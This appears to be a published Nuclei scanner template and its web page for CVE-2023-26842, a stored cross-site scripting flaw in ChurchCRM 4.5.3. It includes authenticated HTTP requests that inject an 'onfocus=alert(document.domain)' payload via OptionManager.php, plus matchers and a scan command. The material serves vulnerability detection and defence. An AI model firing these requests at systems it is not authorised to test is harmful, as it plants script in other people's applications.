ChurchCRM 4.5.3 - Cross-Site Scripting

ID: CVE-2023-26842

Severity: medium

Author: Harsh

Tags: cve2023,cve,churchcrm,stored-xss,xss,authenticated

Description

A stored Cross-site scripting (XSS) vulnerability in ChurchCRM 4.5.3 allows remote attackers to inject arbitrary web script or HTML via the OptionManager.php.

YAML Source

id: CVE-2023-26842

info:
  name: ChurchCRM 4.5.3 - Cross-Site Scripting
  author: Harsh
  severity: medium
  description: |
    A stored Cross-site scripting (XSS) vulnerability in ChurchCRM 4.5.3 allows remote attackers to inject arbitrary web script or HTML via the OptionManager.php.
  impact: |
    Successful exploitation of this vulnerability could allow an attacker to inject malicious scripts into web pages viewed by users, leading to potential data theft, session hijacking, or defacement.
  remediation: |
    Upgrade to a patched version of ChurchCRM or apply the necessary security patches to mitigate the XSS vulnerability.
  reference:
    - https://github.com/10splayaSec/CVE-Disclosures/tree/main/ChurchCRM/CVE-2023-26842
    - https://nvd.nist.gov/vuln/detail/CVE-2023-26842
    - https://github.com/10splayaSec/CVE-Disclosures
  classification:
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:L/UI:R/S:C/C:L/I:L/A:N
    cvss-score: 5.4
    cve-id: CVE-2023-26842
    cwe-id: CWE-79
    epss-score: 0.00169
    epss-percentile: 0.53813
    cpe: cpe:2.3:a:churchcrm:churchcrm:4.5.3:*:*:*:*:*:*:*
  metadata:
    verified: true
    max-request: 2
    vendor: churchcrm
    product: churchcrm
  tags: cve2023,cve,churchcrm,stored-xss,xss,authenticated

http:
  - raw:
      - |
        POST /session/begin HTTP/1.1
        Host: {{Hostname}}
        Content-Type: application/x-www-form-urlencoded

        User={{username}}&Password={{password}}
      - |
        POST /OptionManager.php?mode=classes&ListID=1 HTTP/1.1
        Host: {{Hostname}}
        Content-Type: application/x-www-form-urlencoded

        1name=Member&2name=Regular+Attender&3name=Guest&4name=Non-Attender&5name=Non-Attender+%28staff%29&newFieldName=" onfocus=alert(document.domain) autofocus="&AddField=Add+New+Person+Classification

    redirects: true
    matchers:
      - type: dsl
        dsl:
          - 'status_code_2 == 200'
          - 'contains(content_type_2, "text/html")'
          - 'contains(body_2, "onfocus=alert(document.domain) autofocus=")'
          - 'contains(body_2, "ChurchCRM")'
        condition: and

    extractors:
      - type: regex
        name: nonce
        group: 1
        regex:
          - 'id="form_session_token" value="(.*)" type="hidden"'
        internal: true
# digest: 4b0a00483046022100d2e855ccc8210cd00489cc09150dbbf16907cf74485c4abf7b594ff152ba9526022100b4788ce01ef91caa7b09151ae9c0aa55d0e1c57c901138383070ae06e5b2cfa2:922c64590222798bb761d5b6d8e72950

Guide to check the vulnerabilities

This template is used to detect vulnerabilities in web applications. It can be used with the Nuclei tool to scan for specific patterns or behaviors.

$ nuclei -u "URL" -t "http/cves/2023/CVE-2023-26842.yaml"

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